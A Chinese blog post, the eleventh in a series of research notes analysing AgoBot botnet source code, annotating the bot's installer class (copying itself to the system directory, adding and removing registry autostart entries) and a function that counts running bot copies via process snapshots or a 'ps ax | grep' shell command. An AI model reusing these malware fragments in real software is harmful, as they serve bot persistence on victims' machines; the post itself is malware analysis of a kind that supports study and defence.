AgoBot 僵尸网络研究笔记(十一)

 

十一、2008年3月18日

作者:青青子衿

email:anzijin@sina.com

1、 分析Cbot的成员函数 bool   CBot :: HandleCommand ( CMessage  * pMsg ) 时,遇到关于   CInstaller 类的障碍,于是先分析   CInstaller

class   CInstaller

{

public :

  bool   CopyToSysDir ( CString  & sFilename );

  bool   Install ();

  bool   Uninstall ();

#ifdef  WIN32

  bool   RegStartAdd ( CString  & sValuename CString  & sFilename );

  bool   RegStartDel ( CString  & sValuename );

#endif

  CString   m_sSysDir ;

};

该类有5个成员函数, 和一个CString类型的成员变量

2 int   GetCopies ( CString  & sFilename )   函数

/

//

//函数功能:得到系统中公有几个相同的bot在运行

//参数:   CString &sFilename  BOT 的文件名称

//返回值:   返回bot进程的数目

//

/

int   GetCopies ( CString  & sFilename )

{

#ifdef  WIN32

  char   cFilename [ MAX_PATH ]; 

  GetModuleFileName ( GetModuleHandle ( NULL ),  cFilename sizeof ( cFilename ));

 

  //查找在系统中总共有几个该程序备份在运行

  if ( fCreateToolhelp32Snapshot  &&  fProcess32First  &&  fProcess32Next )

  {  

    psnap = fCreateToolhelp32Snapshot (2, 0);

    if ( psnap != INVALID_HANDLE_VALUE )

    {  

      int   copies =0; 

      pe32 . dwSize = sizeof ( PROCESSENTRY32 );

      if ( fProcess32First ( psnap , & pe32 ))

      {  

        do  {   if (( strncmp ( cFilename +( strlen ( cFilename )- strlen ( pe32 . szExeFile )), 

            pe32 . szExeFile strlen ( pe32 . szExeFile ))==0) || 

            ( strncmp ( sFilename pe32 . szExeFile strlen ( pe32 . szExeFile ))==0))

           

              copies ++; 

        while ( fProcess32Next ( psnap , & pe32 )); 

      }

     

      CloseHandle ( psnap );

      return   copies ;   //返回系统中运行的bot的数目

    }

    else   return  0; 

  }

  else   return  0;

//Linux平台下,

#else

  //在linux平台只能判断有没有,不能判断,具体的数目。

  char   szCmdBuf [4096]; 

  sprintf ( szCmdBuf "ps ax | grep %s | grep -v grep > psaxtemp" sFilename . CStr ());

  system ( szCmdBuf );  //执行系统命令,将当前系统中的进程名称包含该文件名sFilename的进程,写入psaxtemp文件。

  FILE  * fp = fopen ( "psaxtemp" "r" );  //打开保存有进程信息的文件

  if (! fp )

  {

    //如果文件打开失败,返回0

    return  0;

  }

  //获得文件的长度

  fseek ( fp , 0,  SEEK_END ); 

  long   lFileSize = ftell ( fp ); 

  fseek ( fp , 0,  SEEK_SET );

 

  if ( lFileSize >0)  //如果文件大于0返回1。

  {

    return  1;

  }

  fclose ( fp );  system ( "rm -f psaxtemp" );  return  0;

#endif  // WIN32

}

 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值